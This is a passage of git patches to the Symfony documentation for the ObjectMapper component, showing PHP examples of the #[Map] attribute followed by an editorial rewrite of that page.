+        #[Map(target: 'memberSince')]
+        public \DateTimeImmutable $registrationDate;
+
+        public function __construct() {
+            $this->registrationDate = new \DateTimeImmutable();
+        }
+    }
+
+    // src/Dto/PublicUserProfile.php
+    namespace App\Dto;
+    class PublicUserProfile {
+        public \DateTimeImmutable $memberSince;
+        // No $ipAddress property here
+    }
+
+    // src/Dto/AdminUserProfile.php
+    namespace App\Dto;
+    class AdminUserProfile {
+        public \DateTimeImmutable $memberSince;
+        public ?string $ipAddress = null; // Mapped from lastLoginIp
+    }
+
+    // Usage:
+    $user = new User();
+    $mapper = new ObjectMapper();
+
+    $publicProfile = $mapper->map($user, PublicUserProfile::class);
+    // No IP address available
+
+    $adminProfile = $mapper->map($user, AdminUserProfile::class);
+    // $adminProfile->ipAddress = '192.168.1.100'
+
+Transforming Values
+-------------------
+
+Use the ``transform`` option within ``#[Map]`` to modify a value before it's
+assigned to the target property. The value can be a callable (like a built-in
+PHP function name, a static method, or an anonymous function) or a service
+implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`.
+
+**Using Callables:**
+
+::
+
+    // src/Dto/ProductInput.php
+    namespace App\Dto;
+
+    use App\Entity\Product;
+    use App\Util\PriceFormatter;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: Product::class)]
+    class ProductInput
+    {
+        // Use a static method from another class for formatting
+        #[Map(target: 'displayPrice', transform: [PriceFormatter::class, 'format'])]
+        public float $price = 0.0;
+
+        // Can also use simple built-ins
+        #[Map(transform: 'intval')]
+        public string $stockLevel = '100';
+    }
+
+::
+
+    // src/Util/PriceFormatter.php
+    namespace App\Util;
+    class PriceFormatter {
+        public static function format(float $value, object $source): string {
+            return number_format($value, 2, '.', '');
+        }
+    }
+
+**Using Transformer Services:**
+
+Similar to conditions, complex transformations can be encapsulated in services
+implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`.
+
+::
+
+    // src/ObjectMapper/FullNameTransformer.php
+    namespace App\ObjectMapper;
+
+    use App\Dto\UserInput;
+    use App\Entity\User;
+    use Symfony\Component\ObjectMapper\TransformCallableInterface;
+
+    /**
+     * @implements TransformCallableInterface<UserInput, User>
+     */
+    final class FullNameTransformer implements TransformCallableInterface
+    {
+        public function __invoke(mixed $value, object $source, ?object $target): mixed
+        {
+            return trim($source->firstName . ' ' . $source->lastName);
+        }
+    }
+
+::
+
+    // src/Dto/UserInput.php
+    namespace App\Dto;
+
+    use App\Entity\User;
+    use App\ObjectMapper\FullNameTransformer;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: User::class)]
+    class UserInput
+    {
+        // This property's value will be generated by the transformer
+        #[Map(target: 'fullName', transform: FullNameTransformer::class)]
+        public string $firstName = '';
+
+        public string $lastName = '';
+    }
+
+**Class-Level Transformation:**
+
+You can apply a ``transform`` callable at the class level. This callable is
+executed *after* the target object is initially created (if the target is a
+class name we use ``newInstanceWithoutConstructor``) but *before* properties
+are mapped. Its responsibility is often to return a correctly initialized
+instance, potentially replacing the one created by the mapper.
+The returned value *must* be an object of the target type or else an
+exception will be thrown.
+
+::
+
+    // src/Dto/LegacyUserData.php
+    namespace App\Dto;
+
+    use App\Entity\User;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    // Use a static factory method on the target User class for instantiation
+    #[Map(target: User::class, transform: [User::class, 'createFromLegacy'])]
+    class LegacyUserData
+    {
+        public int $userId = 0;
+        public string $name = '';
+    }
+
+::
+
+    // src/Entity/User.php
+    namespace App\Entity;
+    class User {
+        public string $name = '';
+        private int $legacyId = 0;
+
+        private function __construct() {} // Private constructor
+
+        public static function createFromLegacy(mixed $value, object $source): self
+        {
+            // $value is the initially created (empty) User object
+            // $source is the LegacyUserData object
+            $user = new self();
+            $user->legacyId = $source->userId;
+            // Property mapping will happen *after* this method returns $user
+            return $user;
+        }
+    }
+
+Mapping Multiple Targets
+------------------------
+
+A source class can be configured to map to multiple different target classes.
+Apply the ``#[Map]`` attribute multiple times at the class level, typically
+using the ``if`` condition to determine which target is appropriate based on the
+source object's state or other logic.
+
+::
+
+    // src/Dto/EventInput.php
+    namespace App\Dto;
+
+    use App\Entity\OnlineEvent;
+    use App\Entity\PhysicalEvent;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: OnlineEvent::class, if: [self::class, 'isOnline'])]
+    #[Map(target: PhysicalEvent::class, if: [self::class, 'isPhysical'])]
+    class EventInput
+    {
+        public string $type = 'online'; // e.g., 'online' or 'physical'
+        public string $title = '';
+
+        /**
+         * In class-level conditions, $value is null.
+         */
+        public static function isOnline(?mixed $value, object $source): bool
+        {
+            return $source->type === 'online';
+        }
+
+        public static function isPhysical(?mixed $value, object $source): bool
+        {
+            return $source->type === 'physical';
+        }
+    }
+
+    // src/Entity/OnlineEvent.php / PhysicalEvent.php ...
+
+    // Usage:
+    $eventInput = new EventInput();
+    $eventInput->type = 'physical';
+    $mapper = new ObjectMapper();
+    $event = $mapper->map($eventInput); // Automatically maps to PhysicalEvent
+
+Mapping Based on Target Properties (Source Mapping)
+---------------------------------------------------
+
+Sometimes, it's more convenient to define the mapping on the *target* class,
+specifying where its properties should come from in the *source* class. This is
+done using the ``source`` parameter within the ``#[Map]`` attribute on the target's
+properties.
+
+Note that if both the ``source`` and the ``target`` classes define the ``#[Map]``
+attribute, the ``source`` takes precedence.
+
+::
+
+    // src/Api/Payload.php - Represents data from an external API
+    namespace App\Api;
+    class Payload
+    {
+        public string $product_name = ''; // Source property name uses snake_case
+        public float $price_amount = 0.0;
+    }
+
+::
+
+    // src/Entity/Product.php - Our application's entity
+    namespace App\Entity;
+
+    use App\Api\Payload;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    // Define that Product can be mapped *from* Payload
+    #[Map(source: Payload::class)]
+    class Product
+    {
+        // Define where 'name' should get its value from in the Payload source
+        #[Map(source: 'product_name')]
+        public string $name = ''; // Target property uses camelCase
+
+        // Define where 'price' should get its value from
+        #[Map(source: 'price_amount')]
+        public float $price = 0.0;
+    }
+
+    // Usage:
+    $payload = new Payload();
+    $payload->product_name = 'Super Widget';
+    $payload->price_amount = 123.45;
+
+    $mapper = new ObjectMapper();
+    // Map *from* the payload *to* the Product class
+    $product = $mapper->map($payload, Product::class);
+
+    // $product->name = 'Super Widget'
+    // $product->price = 123.45
+
+When using ``source`` mapping, the ``ObjectMapper`` detects this configuration if
+the source object itself doesn't have ``#[Map]`` attributes pointing outwards. It
+then reads the ``#[Map(source: ...)]`` attributes from the target class instead.
+
+Handling Recursion
+------------------
+
+The ObjectMapper automatically handles recursive relationships. If an object graph
+contains cycles (e.g., a ``User`` has a ``manager`` which is another ``User``,
+who might manage the first user), the mapper will reuse the already mapped target
+instances to avoid infinite loops.
+
+::
+
+    // src/Entity/User.php
+    namespace App\Entity;
+    use App\Dto\UserDto;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: UserDto::class)]
+    class User {
+        public string $name = '';
+        public ?User $manager = null;
+    }
+
+::
+
+    // src/Dto/UserDto.php
+    namespace App\Dto;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(source: \App\Entity\User::class)] // Can also define mapping here
+    class UserDto {
+        public string $name = '';
+        public ?UserDto $manager = null;
+    }
+
+    // Usage:
+    $manager = new User();
+    $manager->name = 'Alice';
+    $employee = new User();
+    $employee->name = 'Bob';
+    $employee->manager = $manager;
+    // Manager's manager is the employee:
+    $manager->manager = $employee;
+
+    $mapper = new ObjectMapper();
+    $employeeDto = $mapper->map($employee, UserDto::class);
+
+    // Recursion is handled correctly:
+    // $employeeDto->name === 'Bob'
+    // $employeeDto->manager->name === 'Alice'
+    // $employeeDto->manager->manager === $employeeDto
+
+Custom Mapping Logic (MapStruct-like Approach)
+----------------------------------------------
+
+For very complex mapping scenarios or if you prefer separating mapping rules from
+your DTOs/Entities, you can implement a custom mapping strategy using the
+:class:`Symfony\\Component\\ObjectMapper\\Metadata\\ObjectMapperMetadataFactoryInterface`.
+This allows defining mapping rules within dedicated "mapper" services, similar
+to the approach used by libraries like MapStruct in the Java ecosystem.
+
+First, create your custom metadata factory. The following example reads mapping
+rules defined via ``#[Map]`` attributes on a dedicated mapper *service* class,
+specifically on its ``map`` method for property mappings and on the class itself
+for the source-to-target relationship:
+
+::
+
+    namespace App\ObjectMapper\Metadata;
+
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+    use Symfony\Component\ObjectMapper\Metadata\Mapping;
+    use Symfony\Component\ObjectMapper\Metadata\ObjectMapperMetadataFactoryInterface;
+    use Symfony\Component\ObjectMapper\ObjectMapperInterface;
+
+    /**
+     * A Metadata factory that implements basics similar to MapStruct.
+     * Reads mapping configuration from attributes on a dedicated mapper service.
+     */
+    final class MapStructMapperMetadataFactory implements ObjectMapperMetadataFactoryInterface
+    {
+        /**
+         * @param class-string<ObjectMapperInterface> $mapperClass The FQCN of the mapper service class
+         */
+        public function __construct(private readonly string $mapperClass)
+        {
+            if (!is_a($this->mapperClass, ObjectMapperInterface::class, true)) {
+                throw new \RuntimeException(sprintf('Mapper class "%s" must implement "%s".', $this->mapperClass, ObjectMapperInterface::class));
+            }
+        }
+
+        public function create(object $object, ?string $property = null, array $context = []): array
+        {
+            try {
+                $refl = new \ReflectionClass($this->mapperClass);
+            } catch (\ReflectionException $e) {
+                throw new \RuntimeException("Failed to reflect mapper class: " . $e->getMessage(), 0, $e);
+            }
+
+            $mapConfigs = [];
+            $sourceIdentifier = $property ?? $object::class;
+
+            // Read attributes from the map method (for property mapping) or the class (for class mapping)
+            $attributesSource = $property ? $refl->getMethod('map') : $refl;
+            foreach ($attributesSource->getAttributes(Map::class, \ReflectionAttribute::IS_INSTANCEOF) as $attribute) {
+                $map = $attribute->newInstance();
+
+                // Check if the attribute's source matches the current property or source class
+                if ($map->source === $sourceIdentifier) {
+                    $mapConfigs[] = new Mapping($map->target, $map->source, $map->if, $map->transform);
+                }
+            }
+
+            // If it's a property lookup and no specific mapping was found, map to the same property
+            if ($property && empty($mapConfigs)) {
+                $mapConfigs[] = new Mapping(target: $property, source: $property);
+            }
+
+            return $mapConfigs;
+        }
+    }
+
+Next, define your mapper service class. This class implements
+``ObjectMapperInterface`` but typically delegates the actual mapping back to a
+standard ``ObjectMapper`` instance configured with the custom metadata factory.
+Mapping rules are defined using ``#[Map]`` attributes on this class and its
+``map`` method:
+
+::
+
+    namespace App\ObjectMapper;
+
+    use App\Dto\LegacyUser;
+    use App\Dto\UserDto;
+    use App\ObjectMapper\Metadata\MapStructMapperMetadataFactory;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+    use Symfony\Component\ObjectMapper\ObjectMapper;
+    use Symfony\Component\ObjectMapper\ObjectMapperInterface;
+
+    // Define the source-to-target mapping at the class level
+    #[Map(source: LegacyUser::class, target: UserDto::class)]
+    class LegacyUserMapper implements ObjectMapperInterface
+    {
+        private readonly ObjectMapperInterface $objectMapper;
+
+        // Inject the standard ObjectMapper or necessary dependencies
+        public function __construct(?ObjectMapperInterface $objectMapper = null)
+        {
+            // Create an ObjectMapper instance configured with *this* mapper's rules
+            $metadataFactory = new MapStructMapperMetadataFactory(self::class);
+            $this->objectMapper = $objectMapper ?? new ObjectMapper($metadataFactory);
+        }
+
+        // Define property-specific mapping rules on the map method
+        #[Map(source: 'fullName', target: 'name')] // Map LegacyUser::fullName to UserDto::name
+        #[Map(source: 'creationTimestamp', target: 'registeredAt', transform: [\DateTimeImmutable::class, 'createFromFormat'])]
+        #[Map(source: 'status', if: false)] // Ignore the 'status' property from LegacyUser
+        public function map(object $source, object|string|null $target = null): object
+        {
+            // Delegate the actual mapping to the configured ObjectMapper
+            return $this->objectMapper->map($source, $target);
+        }
+    }
+
+Finally, use your custom mapper service:
+
+::
+
+    use App\Dto\LegacyUser;
+    use App\ObjectMapper\LegacyUserMapper;
+
+    $legacyUser = new LegacyUser();
+    $legacyUser->fullName = 'Jane Doe';
+    $legacyUser->status = 'active'; // This will be ignored
+
+    // Instantiate your custom mapper service
+    $mapperService = new LegacyUserMapper();
+
+    // Use the map method of your service
+    $userDto = $mapperService->map($legacyUser); // Target (UserDto) is inferred from #[Map] on LegacyUserMapper
+
+This approach keeps mapping logic centralized within dedicated services, which
+can be beneficial for complex applications or when adhering to specific architectural
+patterns.
+
+Advanced Configuration
+----------------------
+
+The ``ObjectMapper`` constructor accepts optional arguments for further customization:
+
+* ``ObjectMapperMetadataFactoryInterface $metadataFactory``: Allows providing a custom metadata factory, as shown in the MapStruct example. Defaults to :class:`Symfony\\Component\\ObjectMapper\\Metadata\\ReflectionObjectMapperMetadataFactory`, which reads ``#[Map]`` attributes directly from source/target classes.
+* ``?PropertyAccessorInterface $propertyAccessor``: An instance of the PropertyAccess component to customize how properties are read from the source and written to the target. Useful for accessing private properties or using getters/setters.
+* ``?ContainerInterface $transformCallableLocator``: A PSR-11 container (service locator) used to resolve service IDs provided in the ``transform`` option of ``#[Map]``.
+* ``?ContainerInterface $conditionCallableLocator``: A PSR-11 container used to resolve service IDs provided in the ``if`` option of ``#[Map]``.
+
+When using the ``ObjectMapperInterface`` service provided by the Symfony framework,
+these dependencies (like the property accessor and service locators for callables)
+are typically configured automatically via the service container.

From 5b70521d762c1215f435e630e9cea30a7a9b1b3f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 May 2025 10:29:14 +0200
Subject: [PATCH 6961/7107] Tweaks and fixes

---
 object-mapper.rst => object_mapper.rst | 399 +++++++++++++------------
 1 file changed, 204 insertions(+), 195 deletions(-)
 rename object-mapper.rst => object_mapper.rst (62%)

diff --git a/object-mapper.rst b/object_mapper.rst
similarity index 62%
rename from object-mapper.rst
rename to object_mapper.rst
index f46ab732110..fe7db2365cf 100644
--- a/object-mapper.rst
+++ b/object_mapper.rst
@@ -1,32 +1,31 @@
 Object Mapper
 =============
 
-Symfony provides a mapper component to transform a given object into another one,
-simplifying tasks like converting DTOs (Data Transfer Objects) to entities or
-vice-versa. It may also be useful when decoupling API input/output from internal
-models helping with legacy code or hexagonal architectures implementations.
+.. versionadded:: 7.3
 
-.. versionadded:: 7.2
+    The ObjectMapper component was introduced in Symfony 7.3 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
 
-    The ObjectMapper component is experimental. Experimental features are not
-    covered by the backward compatibility promise.
+This component transforms one object into another, simplifying tasks such as
+converting DTOs (Data Transfer Objects) into entities or vice versa. It can also
+be helpful when decoupling API input/output from internal models, particularly
+when working with legacy code or implementing hexagonal architectures.
 
 Installation
 ------------
 
-Run this command to install the ``object-mapper`` component before using it:
+Run this command to install the component before using it:
 
 .. code-block:: terminal
 
     $ composer require symfony/object-mapper
 
-Using the ObjectMapper
-----------------------
-
-Once installed, the object mapper service can be injected into any service or
-controller where you need it:
+Usage
+-----
 
-::
+The object mapper service will be :doc:`autowired </service_container/autowiring>`
+automatically in controllers or services when type-hinting for
+:class:`Symfony\\Component\\ObjectMapper\\ObjectMapperInterface`::
 
     // src/Controller/UserController.php
     namespace App\Controller;
@@ -53,15 +52,14 @@ controller where you need it:
 Basic Mapping
 -------------
 
-The core functionality is provided by the ``map()`` method. It takes a source
-object and maps its properties onto a target. The target can be either a
-class name (a new instance will be created) or an existing object instance.
+The core functionality is provided by the ``map()`` method. It accepts a
+source object and maps its properties to a target. The target can either be
+a class name (to create a new instance) or an existing object (to update it).
 
-**Mapping to a New Object:**
+Mapping to a New Object
+~~~~~~~~~~~~~~~~~~~~~~~
 
-Provide the target class name as the second argument:
-
-::
+Provide the target class name as the second argument::
 
     use App\Dto\ProductInput;
     use App\Entity\Product;
@@ -72,17 +70,16 @@ Provide the target class name as the second argument:
     $productInput->sku = 'WM-1024';
 
     $mapper = new ObjectMapper();
-    // Creates a new Product instance and maps properties from $productInput
+    // creates a new Product instance and maps properties from $productInput
     $product = $mapper->map($productInput, Product::class);
 
     // $product is now an instance of Product
     // with $product->name = 'Wireless Mouse' and $product->sku = 'WM-1024'
 
-**Mapping to an Existing Object:**
-
-Provide an existing object instance as the second argument to update it:
+Mapping to an Existing Object
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-::
+Provide an existing object instance as the second argument to update it::
 
     use App\Dto\ProductUpdateInput;
     use App\Entity\Product;
@@ -94,16 +91,16 @@ Provide an existing object instance as the second argument to update it:
     $updateInput->price = 99.99;
 
     $mapper = new ObjectMapper();
-    // Updates the existing $product instance
+    // updates the existing $product instance
     $mapper->map($updateInput, $product);
 
     // $product->price is now 99.99
 
-**Mapping from ``stdClass``:**
+Mapping from ``stdClass``
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The source object can also be an instance of ``stdClass``:
-
-::
+The source object can also be an instance of ``stdClass``. This can be
+useful when working with decoded JSON data or loosely typed input::
 
     use App\Entity\Product;
     use Symfony\Component\ObjectMapper\ObjectMapper;
@@ -120,14 +117,13 @@ The source object can also be an instance of ``stdClass``:
 Configuring Mapping with Attributes
 -----------------------------------
 
-The ObjectMapper uses PHP attributes to configure the mapping process. The
-primary attribute is :class:`Symfony\\Component\\ObjectMapper\\Attribute\\Map`.
-
-**Defining the Default Target Class:**
+ObjectMapper uses PHP attributes to configure how properties are mapped.
+The primary attribute is :class:`Symfony\\Component\\ObjectMapper\\Attribute\\Map`.
 
-Apply ``#[Map]`` to the source class to define its default mapping target:
+Defining the Default Target Class
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-::
+Apply ``#[Map]`` to the source class to define its default mapping target::
 
     // src/Dto/ProductInput.php
     namespace App\Dto;
@@ -142,21 +138,22 @@ Apply ``#[Map]`` to the source class to define its default mapping target:
         public string $sku = '';
     }
 
-    // Now you can call map() without the second argument if ProductInput is the source:
+    // now you can call map() without the second argument if ProductInput is the source:
     $mapper = new ObjectMapper();
     $product = $mapper->map($productInput); // Maps to Product automatically
 
-**Configuring Property Mapping:**
+Configuring Property Mapping
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Apply ``#[Map]`` to properties to customize their mapping behavior.
+You can apply the ``#[Map]`` attribute to properties to customize their mapping behavior:
 
-* ``target``: Specifies the name of the property in the target object.
+* ``target``: Specifies the name of the property in the target object;
 * ``source``: Specifies the name of the property in the source object (useful
-    when mapping is defined on the target, see below).
-* ``if``: Defines a condition for mapping the property.
+    when mapping is defined on the target, see below);
+* ``if``: Defines a condition for mapping the property;
 * ``transform``: Applies a transformation to the value before mapping.
 
-::
+This is how it looks in practice::
 
     // src/Dto/OrderInput.php
     namespace App\Dto;
@@ -167,30 +164,29 @@ Apply ``#[Map]`` to properties to customize their mapping behavior.
     #[Map(target: Order::class)]
     class OrderInput
     {
-        // Map 'customerEmail' from source to 'email' in target
+        // map 'customerEmail' from source to 'email' in target
         #[Map(target: 'email')]
         public string $customerEmail = '';
 
-        // Do not map this property at all
+        // do not map this property at all
         #[Map(if: false)]
         public string $internalNotes = '';
 
-        // Only map 'discountCode' if it's a non-empty string
-        #[Map(if: 'strlen')] // Uses the built-in strlen function as a condition
+        // only map 'discountCode' if it's a non-empty string
+        // (uses PHP's strlen() function as a condition)
+        #[Map(if: 'strlen')]
         public ?string $discountCode = null;
     }
 
-By default, if a property exists in the source but not in the target, it's
-ignored. If a property exists in both and has no ``#[Map]`` attribute, it's
-mapped directly if the names match.
+By default, if a property exists in the source but not in the target, it is
+ignored. If a property exists in both and no ``#[Map]`` is defined, the mapper
+assumes a direct mapping when names match.
 
-**Conditional Mapping with Services:**
+Conditional Mapping with Services
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 For complex conditions, you can use a dedicated service implementing
-:class:`Symfony\\Component\\ObjectMapper\\ConditionCallableInterface`. The service
-name (its class name by default) is passed to the ``if`` parameter:
-
-::
+:class:`Symfony\\Component\\ObjectMapper\\ConditionCallableInterface`::
 
     // src/ObjectMapper/IsShippableCondition.php
     namespace App\ObjectMapper;
@@ -206,12 +202,12 @@ name (its class name by default) is passed to the ``if`` parameter:
     {
         public function __invoke(mixed $value, object $source, ?object $target): bool
         {
-            // Example: Only map shipping address if order total is above 50
+            // example: Only map shipping address if order total is above 50
             return $source->total > 50;
         }
     }
 
-::
+Then, pass the service name (its class name by default) to the ``if`` parameter::
 
     // src/Dto/OrderInput.php
     namespace App\Dto;
@@ -233,17 +229,17 @@ For this to work, ``IsShippableCondition`` must be registered as a service.
 
 .. _object_mapper-conditional-property-target:
 
-**Conditional Property Mapping based on Target:**
+Conditional Property Mapping based on Target
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When a source class can be mapped to multiple target classes, you might want
-to map a specific property only when mapping to a particular target. You can
-achieve this using the :class:`Symfony\\Component\\ObjectMapper\\Condition\\TargetClass`
-condition within the ``if`` parameter on a property's ``#[Map]`` attribute.
+When a source class maps to multiple targets, you may want to include or exclude
+certain properties depending on which target is being used. Use the
+:class:`Symfony\\Component\\ObjectMapper\\Condition\\TargetClass` condition within
+the ``if`` parameter of a property's ``#[Map]`` attribute to achieve this.
 
-This is useful for creating different representations (e.g., public vs. admin)
-from the same source object, offering an alternative to serialization groups.
-
-::
+This pattern is useful for building multiple representations (e.g., public vs. admin)
+from a given source object, and can be used as an alternative to
+:ref:`serialization groups <serializer-groups-attribute>`::
 
     // src/Entity/User.php
     namespace App\Entity;
@@ -253,16 +249,16 @@ from the same source object, offering an alternative to serialization groups.
     use Symfony\Component\ObjectMapper\Attribute\Map;
     use Symfony\Component\ObjectMapper\Condition\TargetClass;
 
-    // This User entity can be mapped to two different DTOs
+    // this User entity can be mapped to two different DTOs
     #[Map(target: PublicUserProfile::class)]
     #[Map(target: AdminUserProfile::class)]
     class User
     {
-        // Map 'lastLoginIp' to 'ipAddress' ONLY when the target is AdminUserProfile
+        // map 'lastLoginIp' to 'ipAddress' ONLY when the target is AdminUserProfile
         #[Map(target: 'ipAddress', if: new TargetClass(AdminUserProfile::class))]
         public ?string $lastLoginIp = '192.168.1.100';
 
-        // Map 'registrationDate' to 'memberSince' for both targets
+        // map 'registrationDate' to 'memberSince' for both targets
         #[Map(target: 'memberSince')]
         public \DateTimeImmutable $registrationDate;
 
@@ -273,24 +269,26 @@ from the same source object, offering an alternative to serialization groups.
 
     // src/Dto/PublicUserProfile.php
     namespace App\Dto;
-    class PublicUserProfile {
+    class PublicUserProfile
+    {
         public \DateTimeImmutable $memberSince;
-        // No $ipAddress property here
+        // no $ipAddress property here
     }
 
     // src/Dto/AdminUserProfile.php
     namespace App\Dto;
-    class AdminUserProfile {
+    class AdminUserProfile
+    {
         public \DateTimeImmutable $memberSince;
-        public ?string $ipAddress = null; // Mapped from lastLoginIp
+        public ?string $ipAddress = null; // mapped from lastLoginIp
     }
 
-    // Usage:
+    // usage:
     $user = new User();
     $mapper = new ObjectMapper();
 
     $publicProfile = $mapper->map($user, PublicUserProfile::class);
-    // No IP address available
+    // no IP address available
 
     $adminProfile = $mapper->map($user, AdminUserProfile::class);
     // $adminProfile->ipAddress = '192.168.1.100'
@@ -298,14 +296,28 @@ from the same source object, offering an alternative to serialization groups.
 Transforming Values
 -------------------
 
-Use the ``transform`` option within ``#[Map]`` to modify a value before it's
-assigned to the target property. The value can be a callable (like a built-in
-PHP function name, a static method, or an anonymous function) or a service
-implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`.
+Use the ``transform`` option within ``#[Map]`` to change a value before it is
+assigned to the target. This can be a callable (e.g., a built-in PHP function,
+static method, or anonymous function) or a service implementing
+:class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`.
 
-**Using Callables:**
+Using Callables
+~~~~~~~~~~~~~~~
 
-::
+Consider the following static utility method::
+
+    // src/Util/PriceFormatter.php
+    namespace App\Util;
+
+    class PriceFormatter
+    {
+        public static function format(float $value, object $source): string
+        {
+            return number_format($value, 2, '.', '');
+        }
+    }
+
+You can use that method to format a property when mapping it::
 
     // src/Dto/ProductInput.php
     namespace App\Dto;
@@ -317,31 +329,20 @@ implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterfac
     #[Map(target: Product::class)]
     class ProductInput
     {
-        // Use a static method from another class for formatting
+        // use a static method from another class for formatting
         #[Map(target: 'displayPrice', transform: [PriceFormatter::class, 'format'])]
         public float $price = 0.0;
 
-        // Can also use simple built-ins
+        // can also use built-in PHP functions
         #[Map(transform: 'intval')]
         public string $stockLevel = '100';
     }
 
-::
-
-    // src/Util/PriceFormatter.php
-    namespace App\Util;
-    class PriceFormatter {
-        public static function format(float $value, object $source): string {
-            return number_format($value, 2, '.', '');
-        }
-    }
-
-**Using Transformer Services:**
+Using Transformer Services
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Similar to conditions, complex transformations can be encapsulated in services
-implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`.
-
-::
+implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`::
 
     // src/ObjectMapper/FullNameTransformer.php
     namespace App\ObjectMapper;
@@ -361,7 +362,7 @@ implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterfac
         }
     }
 
-::
+Then, use this service to format the mapped property::
 
     // src/Dto/UserInput.php
     namespace App\Dto;
@@ -373,24 +374,22 @@ implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterfac
     #[Map(target: User::class)]
     class UserInput
     {
-        // This property's value will be generated by the transformer
+        // this property's value will be generated by the transformer
         #[Map(target: 'fullName', transform: FullNameTransformer::class)]
         public string $firstName = '';
 
         public string $lastName = '';
     }
 
-**Class-Level Transformation:**
+Class-Level Transformation
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can apply a ``transform`` callable at the class level. This callable is
-executed *after* the target object is initially created (if the target is a
-class name we use ``newInstanceWithoutConstructor``) but *before* properties
-are mapped. Its responsibility is often to return a correctly initialized
-instance, potentially replacing the one created by the mapper.
-The returned value *must* be an object of the target type or else an
-exception will be thrown.
-
-::
+You can define a transformation at the class level using the ``transform``
+parameter on the ``#[Map]`` attribute. This callable runs *after* the target
+object is created (if the target is a class name, ``newInstanceWithoutConstructor``
+is used), but *before* any properties are mapped. It must return a correctly
+initialized instance of the target class (replacing the one created by the mapper
+if needed)::
 
     // src/Dto/LegacyUserData.php
     namespace App\Dto;
@@ -398,7 +397,7 @@ exception will be thrown.
     use App\Entity\User;
     use Symfony\Component\ObjectMapper\Attribute\Map;
 
-    // Use a static factory method on the target User class for instantiation
+    // use a static factory method on the target User class for instantiation
     #[Map(target: User::class, transform: [User::class, 'createFromLegacy'])]
     class LegacyUserData
     {
@@ -406,15 +405,17 @@ exception will be thrown.
         public string $name = '';
     }
 
-::
+And the related target object must define the ``createFromLegacy()`` method::
 
     // src/Entity/User.php
     namespace App\Entity;
-    class User {
+    class User
+    {
         public string $name = '';
         private int $legacyId = 0;
 
-        private function __construct() {} // Private constructor
+        // uses a private constructor to avoid direct instantiation
+        private function __construct() {}
 
         public static function createFromLegacy(mixed $value, object $source): self
         {
@@ -422,7 +423,8 @@ exception will be thrown.
             // $source is the LegacyUserData object
             $user = new self();
             $user->legacyId = $source->userId;
-            // Property mapping will happen *after* this method returns $user
+
+            // property mapping will happen *after* this method returns $user
             return $user;
         }
     }
@@ -433,9 +435,7 @@ Mapping Multiple Targets
 A source class can be configured to map to multiple different target classes.
 Apply the ``#[Map]`` attribute multiple times at the class level, typically
 using the ``if`` condition to determine which target is appropriate based on the
-source object's state or other logic.
-
-::
+source object's state or other logic::
 
     // src/Dto/EventInput.php
     namespace App\Dto;
@@ -456,146 +456,155 @@ source object's state or other logic.
          */
         public static function isOnline(?mixed $value, object $source): bool
         {
-            return $source->type === 'online';
+            return 'online' === $source->type;
         }
 
         public static function isPhysical(?mixed $value, object $source): bool
         {
-            return $source->type === 'physical';
+            return 'physical' === $source->type;
         }
     }
 
-    // src/Entity/OnlineEvent.php / PhysicalEvent.php ...
+    // consider that the src/Entity/OnlineEvent.php and PhysicalEvent.php
+    // files exist and define the needed classes
 
-    // Usage:
+    // usage:
     $eventInput = new EventInput();
     $eventInput->type = 'physical';
     $mapper = new ObjectMapper();
-    $event = $mapper->map($eventInput); // Automatically maps to PhysicalEvent
+    $event = $mapper->map($eventInput); // automatically maps to PhysicalEvent
 
 Mapping Based on Target Properties (Source Mapping)
 ---------------------------------------------------
 
-Sometimes, it's more convenient to define the mapping on the *target* class,
-specifying where its properties should come from in the *source* class. This is
-done using the ``source`` parameter within the ``#[Map]`` attribute on the target's
-properties.
+Sometimes, it's more convenient to define how a target object should retrieve
+its values from a source, especially when working with external data formats.
+This is done using the ``source`` parameter in the ``#[Map]`` attribute on the
+target class's properties.
 
 Note that if both the ``source`` and the ``target`` classes define the ``#[Map]``
 attribute, the ``source`` takes precedence.
 
-::
+Consider the following class that stores the data obtained form an external API
+that uses snake_case property names::
 
-    // src/Api/Payload.php - Represents data from an external API
+    // src/Api/Payload.php
     namespace App\Api;
+
     class Payload
     {
-        public string $product_name = ''; // Source property name uses snake_case
+        public string $product_name = '';
         public float $price_amount = 0.0;
     }
 
-::
+In your application, classes use camelCase for property names, so you can map
+them as follows::
 
-    // src/Entity/Product.php - Our application's entity
+    // src/Entity/Product.php
     namespace App\Entity;
 
     use App\Api\Payload;
     use Symfony\Component\ObjectMapper\Attribute\Map;
 
-    // Define that Product can be mapped *from* Payload
+    // define that Product can be mapped from Payload
     #[Map(source: Payload::class)]
     class Product
     {
-        // Define where 'name' should get its value from in the Payload source
+        // define where 'name' should get its value from in the Payload source
         #[Map(source: 'product_name')]
-        public string $name = ''; // Target property uses camelCase
+        public string $name = '';
 
-        // Define where 'price' should get its value from
+        // define where 'price' should get its value from
